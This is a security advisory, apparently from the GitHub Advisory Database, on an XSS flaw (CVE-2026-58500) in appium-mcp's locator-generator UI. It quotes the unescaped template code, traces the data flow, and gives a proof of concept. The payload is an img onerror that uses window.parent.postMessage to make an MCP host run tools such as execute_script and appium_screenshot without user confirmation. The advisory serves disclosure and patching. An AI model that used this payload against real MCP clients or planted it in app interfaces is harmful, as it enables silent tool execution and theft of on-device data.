appium-mcp
Affected
- introduced
0, fixed1.85.10(semver)
Fixed versions
1.85.10
Fix
- Fixed version
1.85.10npm install [email protected]
Advisory
Also known as: CVE-2026-58500
appium-mcp: Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)
Unescaped Locator Data XSS in MCP-UI Resource (createLocatorGeneratorUI)
Summary
appium-mcp's createLocatorGeneratorUI function interpolates attacker-controlled element attributes — text, content-desc, resource-id, and locator selector values — directly into an HTML template literal without any HTML or JavaScript context escaping. An attacker who controls the UI of the app under test can inject arbitrary HTML and JavaScript into the MCP UI resource returned by the generate_locators tool. When a victim's MCP client renders this resource, the injected script executes and can invoke arbitrary MCP tools via window.parent.postMessage, leading to unauthorized MCP tool execution such as taking screenshots, reading page source, or any other registered capability.
Details
The vulnerability is a stored/reflected cross-site scripting (XSS) issue in the MCP UI generation pipeline.
Vulnerable sink — `src/ui/mcp-ui-utils.ts:730–740`:
${element.text ? `<p class="element-text"><strong>Text:</strong> ${element.text}</p>` : ''}
${element.contentDesc ? `<p class="element-text"><strong>Content Desc:</strong> ${element.contentDesc}</p>` : ''}
${element.resourceId ? `<p class="element-text"><strong>Resource ID:</strong> <code>${element.resourceId}</code></p>` : ''}
<code class="selector">${selector}</code>
<button class="test-btn" onclick="testLocator('${strategy}', `${selector.replace(/`/g, '\\`')}`)">Test</button>
None of element.text, element.contentDesc, element.resourceId, selector, or strategy are HTML-escaped before insertion. The onclick attribute additionally embeds selector and strategy into an inline JavaScript string using only a backtick-escape that is insufficient to prevent breakout via HTML event attribute syntax or single-quote injection.
By contrast, createPageSourceInspectorUI at src/ui/mcp-ui-utils.ts:911–916 does apply escaping to the page source, confirming that the protection gap in createLocatorGeneratorUI is an oversight, not a design choice.
Complete data flow (source → sink):
src/tools/test-generation/locators.ts:57 — getPageSource(driver) reads the page source XML from an active Appium session; the connected app is fully attacker-controlled.src/tools/test-generation/locators.ts:72 — the raw page source is passed to generateAllElementLocators.src/locators/source-parsing.ts:108 — XML attribute values undergo only newline replacement (attr.value.replace(/(\n)/gm, '\n')); HTML entities such as < are decoded into raw < characters by the XML parser with no re-encoding.src/locators/generate-all-locators.ts:73–75 — element.attributes.text, ['content-desc'], and ['resource-id'] are copied verbatim into the locator result object.src/tools/test-generation/locators.ts:90 — the locator objects are passed to createLocatorGeneratorUI.src/ui/mcp-ui-utils.ts:730–740 — values are interpolated directly into the HTML response (sink).The window.parent.postMessage({type:'tool', payload:{toolName:...}}, '*') mechanism used throughout src/ui/mcp-ui-utils.ts:645–695 means any JavaScript executing in the rendered UI resource can invoke registered MCP tools unconditionally.
Remediation requires an HTML-escaping helper (replacing &, <, >, ", ') applied to all element properties in the HTML context, and JSON.stringify for values embedded inside JavaScript string literals in onclick handlers.
PoC
Prerequisites:
appium-mcp v1.85.8 or v1.85.9 installed from npmnpm install && npm run build)generate_locators (e.g., VS Code with the Appium MCP extension, or any WebView-based MCP host)Static confirmation (no Appium session required):
node --input-type=module <<'EOF'
import { generateAllElementLocators } from './dist/locators/generate-all-locators.js';
import { createLocatorGeneratorUI } from './dist/ui/mcp-ui-utils.js';
const xml = `<hierarchy>
<node class="android.widget.TextView"
clickable="true"
enabled="true"
displayed="true"
text="<img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'appium_screenshot',params:{}},'*')">"
content-desc="<b>xss-in-contentDesc</b>"
resource-id="com.attacker.app/<u>xss-resource-id</u>"/>
</hierarchy>`;
const locators = generateAllElementLocators(xml, true, 'uiautomator2', { fetchableOnly: true });
const html = createLocatorGeneratorUI(locators);
console.log('UNESCAPED <img src=x onerror= present:', html.includes('<img src=x onerror='));
console.log('UNESCAPED <b> in contentDesc present: ', html.includes('<b>xss-in-contentDesc</b>'));
console.log('UNESCAPED <u> in resourceId present: ', html.includes('<u>xss-resource-id</u>'));
EOF
Expected output:
UNESCAPED <img src=x onerror= present: true
UNESCAPED <b> in contentDesc present: true
UNESCAPED <u> in resourceId present: true
Dynamic confirmation (Docker, network-isolated):
# Build context is the parent directory (contains repo/ and vuln-001/)
docker build -t appium-mcp-vuln-001 \
-f vuln-001/Dockerfile \
reports/npmAI_303_appium__appium-mcp
docker run --rm --network none appium-mcp-vuln-001
The container output confirms:
HTML has unescaped <img src=x onerror= : true
Text paragraph : <p class="element-text"><strong>Text:</strong> <img src=x onerror="window.parent.postMessage(...)"></p>
│ [PASS] XSS CONFIRMED │
│ createLocatorGeneratorUI inserted the raw <img> XSS tag │
│ execute the onerror handler, enabling arbitrary MCP tool │
End-to-end exploitation against a real MCP client:
text, content-desc, or resource-id attributes contain an XSS payload (e.g., <img src=x onerror="window.parent.postMessage({type:'tool',payload:{toolName:'execute_script',params:{script:'fetch(...)'}},'*')">).generate_locators MCP tool.onerror handler fires and posts a crafted tool message to the parent frame, causing the MCP host to invoke arbitrary registered tools (e.g., appium_screenshot, execute_script, get_page_source) without user confirmation.Impact
This is a Cross-Site Scripting (XSS) vulnerability. Any developer using appium-mcp with an MCP client that renders HTML resources (the intended workflow for the UI feature) is impacted when they inspect elements from an attacker-controlled application.
Impact scenarios:
window.parent.postMessage with any tool name and parameters, executing MCP tools silently (e.g., taking screenshots, reading page source, executing scripts on the device).execute_script or screenshot tools, an attacker can extract sensitive data visible on the device screen or in the page source.generate_locators against third-party app builds are equally vulnerable; no human interaction beyond running the pipeline is required.High Basis: The source's own band: HIGH
0, fixed 1.85.10 (semver)1.85.10
1.85.10npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0